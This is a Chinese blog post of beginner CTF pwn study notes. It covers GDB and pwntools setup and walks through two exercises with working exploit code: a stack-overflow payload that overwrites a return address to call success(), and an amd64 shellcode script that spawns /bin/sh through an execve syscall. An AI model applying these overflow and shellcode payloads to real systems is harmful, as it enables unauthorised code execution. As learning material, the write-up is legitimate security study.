Lufer

  • 首页
  • 编程
  • 学习笔记
  • 日常折腾
Lufer
Code the World
  1. 首页
  2. 学习笔记
  3. 正文

PWN Day1笔记

2022年9月19日 547点热度 0人点赞 0条评论

PWN是基于给定的程序段,借助堆\栈溢出,缓冲区溢出等手段,使程序执行指定的命令,从而达到攻破的目的。

基础工具

基本环境

基础环境一键安装脚本:https://github.com/giantbranch/pwn-env-init/blob/master/pwn_init_py2.sh

建议在Ubuntu 18.04下执行,20版本的可能无法获取到python2。

安装完成后要修改~/.gdbinit文件,删除第二行,仅保留pwndgb这个插件。

GDB

GDB是一款Linux下的调试器,用来动态分析程序代码,配合IDA使用。

启动调试

通过gdb 程序名或gdb attach PID来启动对指定程序的调试。

此时gdb已经在等待指令。

下断点

借助IDA,可以静态分析到程序代码对应的内存地址,例如对于如下代码段,若要停在光标处,可知其内存地址为0x080484C2。

通过b *0x080484C2指令,即可在此处下断点。再运行程序,即可停在此处。

运行

输入s来单步执行,可用于进入方法内部。输入n可跳过当前方法。

输入run < filename可将文件作为输入源输入当前程序中。

PWNtools

pwntools是python的一个包,如果安装了一键脚本会自动安装。

通过from pwn import *来导入包,具体用法见后续例题。

两个简单示例

题目一、通过栈溢出来执行特定函数

题目

程序代码

#include <stdio.h>
#include <string.h>

void success(){
    puts("[+] Great.you pwned it.");
}
void vulnerable(){
    char s[12];
    gets(s);
    puts(s);
    return;
}
int main(int argc,char ** argv){
    vulnerable();
    return 0;
}

目的:通过栈溢出,使得success函数被执行。

分析

借助IDA,可以知道success函数的入口地址为0x08048456

数组s大小只有12,通过输入大量字符,使得gets函数溢出。

单步调试,发现当call vulneralbe之后,通过esp可知,该函数执行完后返回时将会调用的地址为0xffffd14c。

进入Vulnerable函数,停在gets处,获取到s的首地址为0xffffd134。

因此可知,只要构造的输入长度为0xffffd14c-0xffffd134=0x18,此时将会正好溢出至函数return后将要调用的地址,再继续构造输入,将success函数的地址跟在其后,这样溢出后就会将success的地址覆盖到return时获取的栈帧,从而成功执行success函数。

因为部分值为不可见字符,无法直接输入,因此通过脚本来构造输入,因为小端续,因此success的地址倒序输入:

f = open("test.txt","wb")
f.write(0x18*b'a'+b'\x56\x84\x04\x08\n')
f.flush()
f.close()

然后将test.txt作为输入,成功溢出,执行success函数。

题目二、构造shell

题目

题目反汇编后,得到提示,通过构建shell来完成题目。

分析

为了构造shell,首先要知道linux的调用表,地址如下:

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/(64位系统)

我们的目标是执行sys_execve从而借助该函数执行我们所需的程序,其rax为59(0x3B)。

对于64位系统,我们要构件的目标寄存器值如下:

  • Rdx=0
  • Rsi=0
  • [rdi]="/bin/sh"
  • Rax=0x3b
  • syscall

手工实现

通过如下代码。借助pwntools的asm命令,将寄存器的值更改。

注意该方法不能写入字符串,因此"/bin/sh”需要转为16进制,然后按小端序倒着写。

因为题目中可看出先有个提示enter shellcode to execute然后才接收输入,因此我们使用recvuntil函数来等待这个提示出现。

from pwn import *
#指定目标环境
context(os='linux',arch='amd64')
#执行程序
sh=process("./pwn")
# remote可用来连接远程端口
#sh=remote('10.144.16.71',10002)
sh.recvuntil("enter shellcode to execute")
payload=asm("mov rdx,0")
payload+=asm("mov rsi,0")
payload+=asm("mov rax,0x68732f6e69622f")
payload+=asm("push rax")
payload+=asm("mov rdi,rsp")
payload+=asm("mov rax,59")
payload+=asm("syscall")
sh.sendline(payload)
sh.interactive()

执行脚本,成功打开shell。

自动构建

借助asm,可以自动构建脚本触发shell,代码如下:

from pwn import *
context(os='linux',arch='amd64')
sh=process("./pwn")
sh.recvuntil("enter shellcode to execute")
payload=asm(shellcraft.sh())
sh.sendline(payload)
sh.interactive()

执行脚本,同样可以打开shell。

标签: CTF PWN
最后更新:2023年7月10日

Lufer

新的一天开始啦

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

文章目录
  • 基础工具
    • 基本环境
    • GDB
      • 启动调试
      • 下断点
      • 运行
    • PWNtools
  • 两个简单示例
    • 题目一、通过栈溢出来执行特定函数
      • 题目
      • 分析
    • 题目二、构造shell
      • 题目
      • 分析
      • 手工实现
      • 自动构建

COPYRIGHT © 2022 lufer.cc.

Theme Kratos Made By Seaton Jiang

鲁ICP备2021045819号